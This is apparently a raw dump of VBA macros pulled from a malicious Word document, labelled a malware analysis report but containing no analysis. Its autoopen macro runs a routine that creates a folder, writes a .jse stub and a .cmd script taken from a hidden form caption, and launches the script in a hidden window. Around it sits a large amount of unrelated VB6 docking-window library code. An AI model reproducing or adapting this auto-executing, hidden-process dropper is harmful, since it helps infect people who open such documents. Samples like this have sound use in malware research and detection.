Malicious Office (OOXML) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module3"

#If VBA7 Then
Public Declare PtrSafe Function MakeSureDirectoryPathExists Lib "imagehlp     " (ByVal lpPath As String) As LongPtr
Public Declare PtrSafe Function CreateProcessA Lib "kernel32    " (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, ByVal bInheritHandles As LongPtr, ByVal dwCreationFlags As LongPtr, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, siStartup As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Public Declare PtrSafe Function WaitForInputIdle Lib "user32          " (ByVal hProcess As LongPtr, ByVal dwMilliseconds As LongPtr) As LongPtr
#Else
Public Declare Function MakeSureDirectoryPathExists Lib "imagehlp      " (ByVal lpPath As String) As Long
Public Declare Function CreateProcessA Lib "kernel32         " (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As String, siStartup As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Public Declare Function WaitForInputIdle Lib "user32      " (ByVal hProcess As Long, ByVal dwMilliseconds As Long) As Long
#End If

Attribute VB_Name = "Module1"

Public AutoDecodeIsOn As Boolean   'to see if autodecode is used

Public Type STARTUPINFO
   cb As Long
   lpReserved As String
   lpDesktop As String
   lpTitle As String
   dwX As Long
   dwY As Long
   dwXSize As Long
   dwYSize As Long
   dwXCountChars As Long
   dwYCountChars As Long
   dwFillAttribute As Long
   dwFlags As Long
   wShowWindow As Integer
   cbReserved2 As Integer
   lpReserved2 As Long
   hStdInput As Long
   hStdOutput As Long
   hStdError As Long
End Type

Public Type PROCESS_INFORMATION
   hProcess As Long
   hThread As Long
   dwProcessID As Long
   dwThreadId As Long
End Type

Public Type PROCESS_INFORMATION_EXT
   hProcess As Long
   hThread As Long
   hWnd As Long
   dwProcessID As Long
   dwThreadId As Long
End Type

'SW_HIDE = 0
'SW_NORMAL = 1
'SW_MAXIMIZE = 3
'SW_MINIMIZE = 6

         
Public Const INFINITE = &HFFFF

Public strParh As String
Public fdocCopy As Document
Public NameOfTheDocument As String


Attribute VB_Name = "Module2"

Public Function copydoc() As Boolean
 NameOfTheDocument = ActiveDocument.Name

    Set fdocCopy = Documents.Add(ActiveDocument.FullName)

    With Dialogs(wdDialogFileSaveAs)
        .Name = "Blank " & NameOfTheDocument
        .Show
    End With

    fdocCopy.Close
     
End Function


Sub autoopen()
'
' Geographic Names: Gazetteer
Persistent

End Sub



Attribute VB_Name = "Module4"

Function Persistent() As Boolean

    strParh = "c:\1903Data\"

    MakeSureDirectoryPathExists strParh

    Dim Filename, FileName2 As String
    Filename = strParh & "Personal1" & ".jse"
    FileName2 = strParh & "Personal2" & ".cmd"

    Dim Str1 As String, Val1 As Long
    Open Filename For Binary As #1
       Str1 = "try{  var jkupic5=nu"
       Put #1, , Str1
    Close #1

    Open FileName2 For Binary As #1
       Str1 = myFormGazette.Label2.Caption
       Put #1, , Str1
    Close #1
    
    StartProcess FileName2, 0, 0, 0
    
  copydoc
  copydoc
  copydoc
  copydoc
  copydoc

End Function


Attribute VB_Name = "Module5"
Private Const STARTF_USESHOWNWINDOW = &H1&
Private Const SW_HIDE = 3
Private Const NORMAL_PRIORITY_CLASS = &H8000000

Public Function StartProcess(strProgram As String, hStdIn As Long, hStdOut As Long, hStdErr As Long) As Long 'PROCESS_INFORMATION_EXT
    Dim piProcess As PROCESS_INFORMATION
    Dim siStartup As STARTUPINFO
    Dim lResult

    siStartup.hStdInput = hStdIn
    siStartup.hStdOutput = hStdOut
    siStartup.hStdError = hStdErr
    
    siStartup.dwFlags = STARTF_USESHOWNWINDOW 'Necessary for wShowWindow to work
    siStartup.wShowWindow = SW_HIDE 'Hide window
    
    lResult = CreateProcessA(vbNullString, strProgram, 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, vbNullString, siStartup, piProcess)
    
    WaitForInputIdle piProcess.hProcess, INFINITE 'Let it initialise properly before continuing
    StartProcess = lResult
End Function



Attribute VB_Name = "DokNForm"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit
Private Const m_constClassName         As String = "DokNForm"
Private Const g_ErrConstant            As Long = vbObjectError + 1000
Private Const ControlManager_HEIGHT    As Integer = 80
Private Const ControlManager_WIDTH     As Integer = 80
' Keep up with the errors
Private mlngErrNum                     As Long
Private m_strErrStr                    As String
Private m_strErrSource                 As String
' class properties
Private mlngMinWidth                   As Long
Private mlngMinHeight                  As Long
Private mblnOverMax                    As Boolean
Private mblnOverClose                  As Boolean
Private mlngParenthWnd                 As Long
Private mblnStyleChanged               As Boolean
Private m_TBarType                     As TBarTypes
Private m_TBarPos                      As TBarOrientation ' TBar Position/Orientation
Private mlngFloatingStyle              As Long    ' Floating style
Private mlngFloatingExStyle            As Long    ' Floating extended style
Private mlngFloatingWidth              As Long    ' Floating dimensions
Private mlngFloatingHeight             As Long
Private mlngFloatingLeft               As Long
Private mlngFloatingTop                As Long
Private m_State                        As eDockState ' form state dock/undocked
Private m_Style                        As eDockStyles ' availlable style
Private m_ctlHostContainer             As PictureBox ' picturebox as form's docked container
Private m_AttachToCtrlPtr              As Long    ' pointer to the object we are attached to
Private mstrKey                        As String  ' Key associatate to the form
Private m_hWnd                         As Long    ' handle for the form
Private m_Form                         As Form    ' pointer to the form object
Private mblnHasCloseButton             As Boolean
Private mstrVCtlKey                    As String  ' keep a weak reference to our clsControl object
Private m_SizingNow                    As Boolean
Private m_Align                        As eDAlignProperty
Private oSub                           As cSubclass
Private m_oIDF                         As IDoknForm
Private mblnMoveInProgress             As Boolean 'track undocked form move events
Implements iSubclass
'*****************************************************
Public Property Get Align() As eDAlignProperty
'*****************************************************
10   Align = m_Align
End Property
'*****************************************************
Public Property Let Align(New_Align As eDAlignProperty)
'*****************************************************
10   m_Align = New_Align
End Property
'*****************************************************
Public Function AllowDocking() As Boolean
'*****************************************************
   ' Purpose   : Returns true if the specified form is allowed to dock
   '** 11/30/06 Yorgi: Integrating DockedForms functionality
10   Select Case m_Align
        Case DAlignLeft
20         AllowDocking = m_Style And DSLeft
30      Case DAlignRight
40         AllowDocking = m_Style And DSRight
50      Case DAlignTop
60         AllowDocking = m_Style And DSTop
70      Case DAlignBottom
80         AllowDocking = m_Style And DSBottom
90      End Select
End Function
'*****************************************************
Public Property Get AttachToCtrlPtr() As Object
'*****************************************************
10   Set AttachToCtrlPtr = ObjectFromPtr(m_AttachToCtrlPtr)
End Property
'*****************************************************
Public Property Let AttachToCtrlPtr(oObj As Object)
'*****************************************************
10   m_AttachToCtrlPtr = ObjPtr(oObj)
End Property
'*****************************************************
Private Sub AttachToFormWnd()
'*****************************************************
   ' Purpose   : attach window messages to a specific hWnd
10   DetachFormWnd                                'detach any previous form within this host control?
20   If Not m_Form Is Nothing Then
30      m_hWnd = m_Form.hWnd
        'AppTrace m_constClassName, "AttachToFormWnd", "m_hWnd:" & CStr(m_hWnd)
        'Subclass the Form window
40      oSub.Subclass m_hWnd, Me
50      oSub.AddMsg m_hWnd, WM_SIZE, MSG_AFTER
60      oSub.AddMsg m_hWnd, WM_SYSCOMMAND, MSG_BEFORE
70      oSub.AddMsg m_hWnd, WM_DESTROY, MSG_BEFORE
        'now subclass the Host Container and track size changes
80      With m_ctlHostContainer
90         oSub.Subclass .hWnd, Me
100         oSub.AddMsg .hWnd, WM_SIZE, MSG_AFTER
110         End With
120      End If
End Sub
'*****************************************************
Private Sub Class_Initialize()
'*****************************************************
10   Const constSource As String = m_constClassName & ".Class_Initialize"
20   On Error GoTo Err_Class_Initialize
30   mblnStyleChanged = False
40   Set oSub = New cSubclass
50   Exit Sub
60 Err_Class_Initialize:
70   Err.Raise Err.Description, Err.Number, constSource:
End Sub
'*****************************************************
Private Sub Class_Terminate()
'*****************************************************
   ' Purpose   : Terminate the class (clean it up)
    'AppTrace m_constClassName, ".Class_Terminate", " begin"
10   DetachFormWnd                                ' DetachFormWnd all window messages
20   Set m_Form = Nothing
30   Set oSub = Nothing
40   Set m_ctlHostContainer = Nothing
     'AppTrace m_constClassName, ".Class_Terminate", " end"
End Sub
'*****************************************************
Friend Sub DetachFormWnd()
'*****************************************************
10   On Error Resume Next                         'just incase subclassing was already stopped
     'AppTrace m_constClassName, "DetachFormWnd", " m_hWnd:" & CStr(m_hWnd)
20   Set m_oIDF = Nothing
30   If (m_hWnd <> 0) Then
40      oSub.UnSubclass m_hWnd
50      m_hWnd = 0
60      oSub.UnSubclass m_ctlHostContainer.hWnd
70      End If
80   On Error GoTo 0
End Sub
'*****************************************************
Friend Property Get DockedForm() As Form
'*****************************************************
10   Set DockedForm = m_Form
End Property
'*****************************************************
Friend Property Let DockedForm(ByRef ofrm As Form)
'*****************************************************
10   Set m_Form = ofrm
20   AttachToFormWnd
End Property
'*****************************************************
Public Property Let FloatingExStyle(ByVal lFloatingExStyle As Long)
'*****************************************************
10   mlngFloatingExStyle = lFloatingExStyle
End Property
'*****************************************************
Public Property Get FloatingExStyle() As Long
'*****************************************************
10   FloatingExStyle = mlngFloatingExStyle
End Property
'*****************************************************
Public Property Get FloatingHeight() As Long
Attribute FloatingHeight.VB_Description = "Returns the floating height of the form"
'*****************************************************
10   FloatingHeight = mlngFloatingHeight
End Property
'*****************************************************
Public Property Let FloatingHeight(ByVal vData As Long)
'*****************************************************
10   mlngFloatingHeight = vData
End Property
'*****************************************************
Public Property Get FloatingLeft() As Long
Attribute FloatingLeft.VB_Description = "Returns the floating Left of the form"
'*****************************************************
10   FloatingLeft = mlngFloatingLeft
End Property
'*****************************************************
Public Property Let FloatingLeft(ByVal vData As Long)
'*****************************************************
10   mlngFloatingLeft = vData
End Property
'*****************************************************
Public Property Let FloatingStyle(ByVal lFloatingStyle As Long)
'*****************************************************
10   mlngFloatingStyle = lFloatingStyle
End Property
'*****************************************************
Public Property Get FloatingStyle() As Long
'*****************************************************
10   FloatingStyle = mlngFloatingStyle
End Property
'*****************************************************
Public Property Get FloatingTop() As Long
Attribute FloatingTop.VB_Description = "Returns the floating Top of the form"
'*****************************************************
10   FloatingTop = mlngFloatingTop
End Property
'*****************************************************
Public Property Let FloatingTop(ByVal vData As Long)
'*****************************************************
10   mlngFloatingTop = vData
End Property
'*****************************************************
Public Property Let FloatingWidth(ByVal vData As Long)
'*****************************************************
10   mlngFloatingWidth = vData
End Property
'*****************************************************
Public Property Get FloatingWidth() As Long
Attribute FloatingWidth.VB_Description = "Returns the floating Width of the form"
'*****************************************************
10   FloatingWidth = mlngFloatingWidth
End Property
'*****************************************************
Public Property Let FormParentHwnd(ByVal hWnd As Long)
'*****************************************************
10   mlngParenthWnd = hWnd
End Property
'*****************************************************
Public Property Get FormParentHwnd() As Long
'*****************************************************
10   FormParentHwnd = mlngParenthWnd
End Property
'*****************************************************
Public Property Let HasCloseButton(ByVal bHasCloseButton As Boolean)
'*****************************************************
10   mblnHasCloseButton = bHasCloseButton
End Property
'*****************************************************
Public Property Get HasCloseButton() As Boolean
'*****************************************************
10   HasCloseButton = mblnHasCloseButton
End Property
'*****************************************************
Friend Property Get HostContainer() As PictureBox
'*****************************************************
10   Set HostContainer = m_ctlHostContainer
End Property
'*****************************************************
Friend Property Set HostContainer(ctlHostContainer As PictureBox)
'*****************************************************
10   Set m_ctlHostContainer = ctlHostContainer
End Property
'*****************************************************
Public Property Get hWnd() As Long
Attribute hWnd.VB_Description = "Returns the form handle. This may not be used in api callings once the docked form is already subclassed and another subclassing of this form may crash Vb IDE or unpredictable results may take place."
'*****************************************************
10   hWnd = m_hWnd
End Property
'*****************************************************
Private Sub iSubclass_WndProc(ByVal bBefore As Boolean, bHandled As Boolean, lReturn As Long, ByVal lng_hWnd As Long, ByVal uMsg As eMsg, ByVal wParam As Long, ByVal lParam As Long)
'*****************************************************
   Dim retVal              As Long
   Dim uCmdType            As Long
10   On Error GoTo iSubclass_WndProc_Err
20   Select Case uMsg
        Case WM_SIZE
30         If lng_hWnd = m_ctlHostContainer.hWnd Then 'must be host container sizing
              'move form to fill up to host container
              'AppTrace m_constClassName, "iSubclass_WndProc", "WM_SIZE hWnd:" & CStr(lng_hWnd) & ", wParam:" & wParam & ", lHiParam:" & HiWord(lParam) & ", lLoParam:" & LoWord(lParam)
40            m_Form.Move 0, 0, m_ctlHostContainer.ScaleWidth, m_ctlHostContainer.ScaleHeight
50            End If
60      Case WM_MOVING
           'AppTrace m_constClassName, "iSubclass_WndProc", "WM_MOVING hWnd:" & CStr(lng_hWnd)
70         If Not mblnMoveInProgress Then
              'Notify ControlManager to begin the Move process
              'AppTrace m_constClassName, "iSubclass_WndProc", "WM_ENTERSIZEMOVE hWnd:" & CStr(lng_hWnd) & ", wParam:" & wParam & ", lParam:" & lParam
80            m_oIDF.WinEvent lng_hWnd, WM_ENTERSIZEMOVE, Me, wParam, lParam
90            mblnMoveInProgress = True
100            End If
            'Notify ControlManager we be Move'n
110         m_oIDF.WinEvent lng_hWnd, uMsg, Me, wParam, lParam
120      Case WM_EXITSIZEMOVE
            'AppTrace m_constClassName, "iSubclass_WndProc", "WM_EXITSIZEMOVE hWnd:" & CStr(lng_hWnd) & ", wParam:" & wParam & ", lParam:" & lParam
130         SaveFormFloatDimensions
140         If mblnMoveInProgress Then
               'Notify ControlManager to stand still for a while
150            mblnMoveInProgress = False
160            m_oIDF.WinEvent lng_hWnd, uMsg, Me, wParam, lParam
170            End If
180      Case WM_SYSCOMMAND
190         uCmdType = wParam And &HFFF0
200         If uCmdType = SC_MOVE Then
               'AppTrace m_constClassName, "iSubclass_WndProc", "WM_SYSCOMMAND SC_MOVE hWnd:" & CStr(lng_hWnd)
210            ReleaseCapture
220         ElseIf uCmdType = SC_CLOSE Then       'NOT UCMDTYPE...
               'AppTrace m_constClassName, "iSubclass_WndProc", "WM_SYSCOMMAND SC_CLOSE hWnd:" & CStr(lng_hWnd)
230            End If
240      Case WM_DESTROY
            'AppTrace m_constClassName, "iSubclass_WndProc", "WM_DESTROY hWnd:" & CStr(lng_hWnd)
            'user may have unloaded the form so we must detach now invalid references
250         m_oIDF.WinEvent lng_hWnd, uMsg, Me, wParam, lParam
260      End Select
270 iSubclass_WndProc_Exit:
280   On Error GoTo 0
290   Exit Sub
300 iSubclass_WndProc_Err:
310   ErrHandler Err, Error$, "Line:" & VBA.Erl & ", iSubclass_WndProc", m_constClassName
320   Resume iSubclass_WndProc_Exit
End Sub
'*****************************************************
Public Property Get Key() As String
Attribute Key.VB_Description = "Returns the key of the form to be used with TabDock functions like FormShow() or FormHide. Instead of the key you may use the Form index to retrieve form reference"
'*****************************************************
10   Key = mstrKey
End Property
'*****************************************************
Public Property Let Key(vData As String)
'*****************************************************
10   mstrKey = vData
End Property
'*****************************************************
Public Property Let MinHeight(ByVal lngMinHeight As Long)
'*****************************************************
   ' Purpose    - Sets the minimum height of the form
   ' Input      - lngMinHeight(the new MinHeight propety value)
10   mlngMinHeight = lngMinHeight
End Property
'*****************************************************
Public Property Get MinHeight() As Long
'*****************************************************
   ' Purpose    - Returns the minimum height of the form
10   MinHeight = mlngMinHeight
End Property
'*****************************************************
Public Property Let MinWidth(ByVal lngMinWidth As Long)
'*****************************************************
   ' Purpose    - Sets the minimum width of the form
   ' Input      - lngMinWidth(the new MinWidth propety value)
10   mlngMinWidth = lngMinWidth
End Property
'*****************************************************
Public Property Get MinWidth() As Long
'*****************************************************
   ' Purpose    - Returns the minimum width of the form
10   MinWidth = mlngMinWidth
End Property
'*****************************************************
Public Property Get Object() As DokNForm
'*****************************************************
10   Set Object = Me
End Property
'*****************************************************
Public Property Set oIDF(objoIDF As IDoknForm)
'*****************************************************
10   Set m_oIDF = objoIDF
End Property
'*****************************************************
Public Property Get ParentForm() As Object
'*****************************************************
10   Set ParentForm = m_Form
End Property
'*****************************************************
Private Sub SaveFormFloatDimensions()
'*****************************************************
10   mlngFloatingWidth = m_Form.Width
20   mlngFloatingHeight = m_Form.Height
30   mlngFloatingLeft = m_Form.Left
40   mlngFloatingTop = m_Form.Top
End Sub
'*****************************************************
Public Property Let State(ByVal mNewState As eDockState)
'*****************************************************
10   If mNewState = DS_Docked Then
20      If m_State = DS_UnDocked Then             'make sure we were DS_UnDocked before
           'stop tracking moves while docked
30         oSub.DelMsg m_hWnd, WM_MOVING, MSG_BEFORE
40         oSub.DelMsg m_hWnd, WM_EXITSIZEMOVE, MSG_AFTER
50         End If
60   ElseIf mNewState = DS_UnDocked Then          'NOT MNEWSTATE...
        'start tracking moves to update float dimensions
70      oSub.AddMsg m_hWnd, WM_MOVING, MSG_BEFORE
80      oSub.AddMsg m_hWnd, WM_EXITSIZEMOVE, MSG_AFTER
90      End If
100   m_State = mNewState
End Property
'*****************************************************
Public Property Get State() As eDockState
Attribute State.VB_Description = "Returns the state of the form. Docked or Undocked."
'*****************************************************
10   State = m_State
End Property
'*****************************************************
Public Property Get Style() As eDockStyles
Attribute Style.VB_Description = "Returns or sets the form style. The style may allow or avoid some features of a docked window. Check all the possible styles to choose the apropriate one."
'*****************************************************
10   Style = m_Style
End Property
'*****************************************************
Public Property Let Style(ByVal vData As eDockStyles)
'*****************************************************
10   m_Style = vData
End Property
'*****************************************************
Public Property Get TBarPos() As TBarOrientation
'*****************************************************
10   TBarPos = m_TBarPos
End Property
'*****************************************************
Public Property Let TBarPos(vData As TBarOrientation)
'*****************************************************
10   m_TBarPos = vData
End Property
'*****************************************************
Public Property Let TBarType(ByVal eTBarType As TBarTypes)
'*****************************************************
10   m_TBarType = eTBarType
End Property
'*****************************************************
Public Property Get TBarType() As TBarTypes
'*****************************************************
10   TBarType = m_TBarType
End Property
'*****************************************************
Public Property Get VCtlKey() As String
'*****************************************************
10   VCtlKey = mstrVCtlKey
End Property
'*****************************************************
Public Property Let VCtlKey(sVCtlKey As String)
'*****************************************************
10   mstrVCtlKey = sVCtlKey
End Property
'*****************************************************
Friend Property Let Visible(vData As Boolean)
'*****************************************************
10   m_Form.Visible = vData
End Property
'*****************************************************
Public Property Get Visible() As Boolean
Attribute Visible.VB_Description = "Returns wether the form is visible or not"
'*****************************************************
10   Visible = m_Form.Visible
End Property

' Yorgi's 4Matz [Feb 28,2007 23:58:49] sort=subs,vars;renum=procs,10;comments=50,50;AsType=40,25

Attribute VB_Name = "DokNForms"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
' Class:             DokNForms
' Description:       Maintains the Collection of "DokNForm" objects.
'                    The form's hWnd is used as a unique handle for lookups.
Option Explicit
Private Const mconModuleName           As String = "DokNForms"
Private mCol                           As Collection ' local variable to hold collection
'*****************************************************
Friend Function Add(ByRef ofrm As Form, ByRef picHost As PictureBox, ByRef oParenthWnd As Long, Style As eDockStyles, sKey As String, Optional iPos As TBarOrientation = TBO_HORIZONTAL, Optional bHasCloseButton As Boolean = False) As DokNForm
'*****************************************************
   Dim lLastErr            As Long
   Dim oNewDoknForm        As DokNForm
10   On Error Resume Next
20   Set oNewDoknForm = mCol.Item(sKey)
30   On Error GoTo Add_Err
40   If oNewDoknForm Is Nothing Then
        ' create a new object
50      Set oNewDoknForm = New DokNForm
60      mCol.Add oNewDoknForm, sKey
70      End If
80   With oNewDoknForm
        'save the Host Container
90      Set .HostContainer = picHost
        'Save original style attributes to restore during UnDock
100      .FloatingStyle = GetWindowLong(ofrm.hWnd, GWL_STYLE)
110      .FloatingExStyle = GetWindowLong(ofrm.hWnd, GWL_EXSTYLE)
120      .HasCloseButton = bHasCloseButton
130      .DockedForm = ofrm
         ' set the properties passed into the method
140      .Style = Style
150      .State = DS_NotReady
160      .VCtlKey = vbNullString
170      .FloatingWidth = ofrm.Width
180      .FloatingHeight = ofrm.Height
190      .FloatingLeft = (Screen.Width \ 2) - (ofrm.Width \ 2) 'init to the center
200      .FloatingTop = (Screen.Height \ 2) - (ofrm.Height \ 2) 'init to the center
210      If oParenthWnd Then
220         .FormParentHwnd = oParenthWnd
230      Else
240         .FormParentHwnd = GetParent(ofrm.hWnd)
250         End If
260      .Key = sKey
270      .TBarPos = iPos
280      End With
      ' return the object created
290   Set Add = oNewDoknForm
300 Add_Exit:
310   On Error Resume Next
320   Set oNewDoknForm = Nothing
330   On Error GoTo 0
340   Exit Function
350 Add_Err:
360   ErrHandler Err, Error$, "Line:" & VBA.Erl & ", Add", mconModuleName
370   Resume Add_Exit
End Function
'*****************************************************
Private Sub Class_Initialize()
'*****************************************************
   ' creates the collection when this class is created
10   Set mCol = New Collection
End Sub
'*****************************************************
Private Sub Class_Terminate()
'*****************************************************
   ' destroys collection when this class is terminated
10   Set mCol = Nothing
End Sub
'*****************************************************
Public Property Get Count() As Long
Attribute Count.VB_Description = "Returns the number of items in the collection"
'*****************************************************
10   Count = mCol.Count
End Property
'*****************************************************
Friend Function HandleExists(hWndA As Long) As Boolean
'*****************************************************
   Dim Index               As Long
10   HandleExists = IndexFromHandle(hWndA, Index)
End Function
'*****************************************************
Private Function IndexFromHandle(ByRef hWndA As Long, ByRef lIdx As Long) As Boolean
'*****************************************************
   'Purpose: Using the form's hwnd as a unique identifier allows a secondary key lookup
   Dim lTot                As Long
10   lTot = mCol.Count
20   For lIdx = 1 To lTot
30      If mCol(lIdx).hWnd = hWndA Then
40         IndexFromHandle = True
50         Exit Function
60         End If
70      Next lIdx
End Function
'*****************************************************
Public Property Get Item(Index As Variant) As DokNForm
Attribute Item.VB_Description = "Returns a docked form from the list"
Attribute Item.VB_UserMemId = 0
'*****************************************************
10   On Error Resume Next
20   Set Item = mCol.Item(Index)
End Property
'*****************************************************
Friend Function ItemByHandle(hWndA As Long) As DokNForm
'*****************************************************
   Dim Index               As Long
10   If IndexFromHandle(hWndA, Index) Then
20      Set ItemByHandle = mCol(Index)
30   Else
40      Set ItemByHandle = Nothing
50      End If
End Function
'*****************************************************
Public Property Get NewEnum() As IUnknown
Attribute NewEnum.VB_UserMemId = -4
Attribute NewEnum.VB_MemberFlags = "40"
'*****************************************************
10   Set NewEnum = mCol.[_NewEnum]
End Property
'*****************************************************
Public Sub Remove(Index As Variant)
Attribute Remove.VB_Description = "Removes a item (DockForm) from the collection list"
'*****************************************************
10   mCol.Remove Index
End Sub
'*****************************************************
Friend Sub RemoveByHandle(hWndA As Long)
'*****************************************************
   Dim Index               As Long
10   If IndexFromHandle(hWndA, Index) Then
20      mCol.Remove Index
30      End If
End Sub

' Yorgi's 4Matz [Feb 28,2007 23:58:49] sort=subs,vars;renum=procs,10;comments=50,50;AsType=40,25

Attribute VB_Name = "cSubclass"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'*************************************************************************************************
'* cSubclass - subclassing class. Use with either the interface class (iSubclass.cls) or the
'*             supplied type library (WinSubHook3.tlb).

Attribute VB_Name = "IDoknForm"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit
' ===================================================================
' Class- IDoknForm.cls
' Description- Global DoknForm Implements
' Uses- A postback interface of form events to ControlManager to processes any additional requirements.
'====================================================================
'*****************************************************
Public Sub WinEvent(ByRef hWnd As Long, uMsg As Long, ByRef df As DokNForm, wParam As Long, lParam As Long)
'*****************************************************
   '
End Sub

' Yorgi's 4Matz [Feb 28,2007 23:58:51] sort=subs,vars;renum=procs,10;comments=50,50;AsType=40,25

Attribute VB_Name = "iSubclass"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'*************************************************************************************************
'* iSubclass - cSubclass' implementation interface class + enumerations
'*
'* Paul_Caton@hotmail.com
'* Copyright free, use and abuse as you see fit.
'*
'* v1.0 The original..................................................................... 20060322
'* 01/21/07 TODO Yorgi: Chg wParam & lParam to BYREF. Some API calls (ie CopyMemoryFromRect) require data to be passed back!
'*************************************************************************************************
Option Explicit
'-cSublass public declarations--------------------------------------------------------------------
Public Enum eMsgWhen                              'When to callback
   MSG_BEFORE = 1                                 'Callback before the original WndProc
   MSG_AFTER = 2                                  'Callback after the original WndProc
   MSG_BEFORE_AFTER = MSG_BEFORE Or MSG_AFTER     'Callback before and after the original WndProc
End Enum
'*****************************************************
Public Sub WndProc(ByVal bBefore As Boolean, ByRef bHandled As Boolean, ByRef lReturn As Long, ByVal lng_hWnd As Long, ByVal uMsg As eMsg, ByVal wParam As Long, ByVal lParam As Long)
'*****************************************************
   '* bBefore  - Indicates whether the callback is before or after the original WndProc. Usually you
   '*            will know unless the callback for the uMsg value is specified as MSG_BEFORE_AFTER
   '*            (both before and after the original WndProc).
   '* bHandled - In a before original WndProc callback, setting bHandled to True will prevent the
   '*            message being passed to the original WndProc and (if set to do so) the after
   '*            original WndProc callback.
   '* Return   - WndProc return value. Set as per the MSDN documentation for the message value,
   '*            and/or, in an after the original WndProc callback, act on the return value set by
   '*            the original WndProc.
   '* hWnd     - Window handle.
   '* uMsg     - Message value.
   '* wParam   - Message related data.
   '* lParam   - Message related data.
   '*************************************************************************************************
End Sub

' Yorgi's 4Matz [Feb 28,2007 23:58:50] sort=subs,vars;renum=procs,10;comments=50,50;AsType=40,25

Attribute VB_Name = "clsSlider"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "mdlGeneral"
Attribute VB_Description = "A module to handle general operations"
'*******************************************************************************
'** File Name   : mdlGeneral.bas                                              **
'** Description : A module to handle general operations                       **
'*******************************************************************************
Option Explicit
'--- Resource File Constants
' Splitter Cursor
Public Const gconCurHSplitter          As Long = 101 'horizontal splitter cursor
Public Const gconCurVSplitter          As Long = 102 'vertical splitter cursor
' Error Message Index
Public Enum genmErrNumber
   errBuildSplitters = 2000
   errSelfContained = 2001
   errMoveSplitter = 2002
   errResizeSplitter = 2003
   errMoveControlRoom = 2004
   errIdControl = 2005
   errIdSplitter = 2006
   errMoveControlClosed = 2007
End Enum
'--- Other Constants
Public Const gconUninitializedLong     As Long = -1 'represent the Id which is not exist or hasn't been initialized yet
Public Const gconLngInfinite           As Long = 2147483647
Public Const gconPROPERTY_DFPTR        As String = "dokfrm" 'Win GetProp/SetProp property name
Public Const gconSettingDocking        As String = "Docking" 'VB Get/Set Settings key name
'--- Variable Declaration
Public gstrControlName                 As String  'the name of DoknSplitz
#If DebugMode Then
Public gstrParentName                  As String  'the name of Parent DoknSplitz
Private lCounter                       As Long
#End If
'*****************************************************
Sub AppTrace(sOwner As String, sProc As String, sMsg As String) '4Matz:New
'*****************************************************
   Dim lHandle             As Long
   Dim sBuffer             As String
#If DebugMode Then
10   If lCounter < 9999 Then
20      lCounter = lCounter + 1
30   Else
40      lCounter = 1
50      End If
60   sBuffer = Format$(lCounter, "0000 ") & sOwner & "(" & sProc & ")." & sMsg
#If DebugMode = 2 Then
70   lHandle = FreeFile
80   Open "c:\temp\TraceLog.txt" For Append As #lHandle
90   Print #lHandle, sBuffer
100   Close #lHandle
#Else
110   Debug.Print sBuffer
#End If
#End If
End Sub
'*****************************************************
Public Sub ErrHandler(oError As ErrObject, sErrStr As String, strProc As String, strModule As String) '4Matz:New
'*****************************************************
   Dim lngErr              As Long
   Dim MsgBoxStr           As String
   Dim strError            As String
   Dim strTitle            As String
10   lngErr = oError.Number
20   strTitle = oError.Source
30   If lngErr > 1000 Then
40      If LenB(sErrStr) = 0 Then
50         sErrStr = LoadResString(lngErr)
60         End If
70      End If
80   MsgBoxStr = "Error....: " & sErrStr & vbNewLine
90   MsgBoxStr = MsgBoxStr & "ErrorNo..: " & lngErr & vbNewLine
100   MsgBoxStr = MsgBoxStr & "Module...: " & gstrControlName & ":" & strModule & vbNewLine
110   MsgBoxStr = MsgBoxStr & "Procedure: " & strProc & vbNewLine
      '  MsgBoxStr = MsgBoxStr & "Line No..: " & ErrLine
120   Beep
130   If LenB(strTitle) = 0 Then
140      strTitle = "Application Error"
150      End If
160   MsgBox MsgBoxStr, vbCritical, strTitle
170   AppTrace strModule, strProc, Replace$(MsgBoxStr, vbNewLine, "|")
#If DebugMode = 3 Then
180   Stop                                        'stop here, F8 moves to error line
#End If
End Sub
'*****************************************************
